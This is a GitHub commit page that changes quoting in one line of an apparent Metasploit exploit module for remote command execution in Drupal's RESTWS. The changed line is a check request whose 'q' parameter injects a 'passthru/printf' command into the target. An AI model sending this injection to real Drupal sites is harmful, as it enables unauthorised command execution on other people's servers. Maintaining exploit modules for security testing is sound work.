Skip to content

Commit 32f1c83

Browse files
committed
Switch to single quotes
Might as well, since we're avoiding escaping.
1 parent 2e631ca commit 32f1c83

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/unix/webapp/drupal_restws_exec.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -59,7 +59,7 @@ def check
5959
'method' => 'GET',
6060
'uri' => normalize_uri(target_uri.path, 'index.php'),
6161
'vars_get' => {
62-
'q' => "taxonomy_vocabulary//passthru/printf \"#{Rex::Text.to_octal(r)}\""
62+
'q' => "taxonomy_vocabulary//passthru/printf '#{Rex::Text.to_octal(r)}'"
6363
}
6464
)
6565
if res && res.body.include?(r)

0 commit comments

Comments
 (0)